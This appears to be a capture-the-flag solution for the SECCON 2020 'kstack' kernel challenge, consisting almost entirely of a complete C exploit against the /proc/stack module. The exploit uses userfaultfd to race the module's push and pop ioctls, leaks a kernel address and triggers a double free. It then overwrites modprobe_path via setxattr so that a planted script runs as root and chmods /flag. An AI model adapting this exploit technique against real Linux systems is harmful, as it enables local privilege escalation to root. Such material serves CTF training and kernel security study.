SECCON 2020 KSTACK

setxattr modprobe_path userfaultfd shm

Exp.c

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#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <stdint.h>
#include <poll.h>
#include <sys/mman.h>
#include <signal.h>
#include <sys/syscall.h>
#include <errno.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/stat.h>
#include <sys/ipc.h>
#include <sys/xattr.h>

#define CMD_PUSH 0x57ac0001
#define CMD_POP 0x57ac0002

#define die(msg) do { perror(msg); exit(EXIT_FAILURE); } while(0)

int fd;
int procfd;
int phase = 1;
static int page_size;

size_t leak_heap, leak_base, modprobe_path;

void push(size_t *val)
{
	if (ioctl(fd, CMD_PUSH, val) < 0)
		die("push");
}

void pop(size_t *val)
{
	if (ioctl(fd, CMD_POP, val) < 0)
		die("pop");
}

static void *
fault_handler(void *arg)
{
	static struct uffd_msg msg;
	static int fault_cnt = 0;
	long uffd;

	static char *page = NULL;
	struct uffdio_copy uffdio_copy;
	size_t nread;

	uffd = (long) arg;

	/* create a page that will be copied into the faulting region */
	if (page == NULL){
		page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
		if (page == MAP_FAILED)
			die("mmap error");
	}

	/* 
	 * polling loop
	 * handling incoming events on the uffd file descriptor 
	 */

	for(;;)
	{
		struct pollfd pollfd;
		int nready;
		pollfd.fd = uffd;
		pollfd.events = POLLIN;
		nready = poll(&pollfd, 1, -1);
		if (nready == -1)
			die("poll error");
		
		printf("\nfault_handler_thread():\n");

		nread = read(uffd, &msg, sizeof(msg));
		if (nread == 0)
			die("EOF on userfaultfd");

		if (nread == -1)
			die("read");

		/* only expect UFFD_EVENT_PAGEFAULT */

		if (msg.event != UFFD_EVENT_PAGEFAULT) 
			die("unexpected event on uffd");

		/* copy the page pointed to by 'page' into the faulting
		 * region. vary the contents that are copied in, so that
		 * if is more obvious that each fault is handled separetely			*/
		
		/* if write fault */
		if(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE)
		{
			puts("process wirte fault\n");

			size_t tmp;
			pop(&tmp);

			struct uffdio_range range;
			range.start = msg.arg.pagefault.address & ~(page_size - 1);
			range.len = page_size;
			/* unregister this range */
			if(ioctl(uffd, UFFDIO_UNREGISTER, &range) == -1)
				die("ioctl unregister");
			/* then wake up main thread */
			if(ioctl(uffd, UFFDIO_WAKE, &range) == -1)
				die("ioctl wake");
		}
		/*  read fault */
		else 
		{
			printf("process read fault\n");
			size_t tmp = 0x12121212;
			if(phase == 1)
			{
				pop(&tmp);
				printf("leak addr: %p\n", (void *) tmp);
				leak_base = tmp;
				phase = 0;
			}
			else
			{
				puts("process setxattr");
				strncpy(&tmp, "/tmp/x", 8);
				push(&tmp);
				push(&tmp);
				system("/tmp/dummy");
				system("cat /flag");
			}

			*(size_t *)page = 0;
			fault_cnt++;
			uffdio_copy.src = (unsigned long) page;
			uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
			uffdio_copy.len = page_size;
			uffdio_copy.mode = 0;
			uffdio_copy.copy = 0;
			if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
				die("ioctl uffdio copy");
		}
	}
}

int main()
{
	int s;
	long uffd;
	char *addr;
	size_t len;
	pthread_t pt;
	struct uffdio_api uffdio_api;
	struct uffdio_register uffdio_register;

	page_size = sysconf(_SC_PAGE_SIZE);
	len = 4*page_size;

	uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if(uffd == -1)
		die("userfaultfd syscall");

	uffdio_api.api = UFFD_API;
	uffdio_api.features = 0;
	if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
		die("ioctl uffdio api");

	/* create fault page */

	addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
			MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if(addr == MAP_FAILED)
		die("main process mmap error");

	/* register uffd range */

	uffdio_register.range.start = (size_t) addr;
	uffdio_register.range.len = len;
	uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
	if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
		die("ioctl uffdio register");

	/* create handler thread */

	s = pthread_create(&pt, NULL, fault_handler, (void *) uffd);

	if(s != 0)
		die("create thread error");

	/* exploit */

	system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x");
	system("chmod +x /tmp/x");
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("chmod +x /tmp/dummy");

	fd = open("/proc/stack", O_RDWR);
	if(fd < 0)
		die("open device error");

	size_t value = 0xdeadbeef;
	
	char *shm_addr;
	int shmid = shmget(0x66, 0x1000, SHM_R | SHM_W | IPC_CREAT);

	if(shmid < 0)
		die("shm err");

	shm_addr = shmat(shmid, 0, 0);
	if(shm_addr == -1)
		die("shmat err");

	shmdt(shm_addr);

	push(addr); //trigger read fault
	push(&value); //push junk element
	pop(addr+page_size); //trigger write fault, double free in handler thread

	modprobe_path = leak_base + (0xFFFFFFFF81C2C540 - 0xffffffff81c37bc0);
	printf("modprobe_path: %p\n", (void *)modprobe_path);

	/*
	 * write 8 bytes in second page (last 8 bytes)
	 * which is already handled by kernel
	 */

	*(size_t *)(addr+2*page_size-8) = modprobe_path - 8;

	setxattr("/init", "attr", addr+2*page_size-8, 32, 0);
	return 0;
}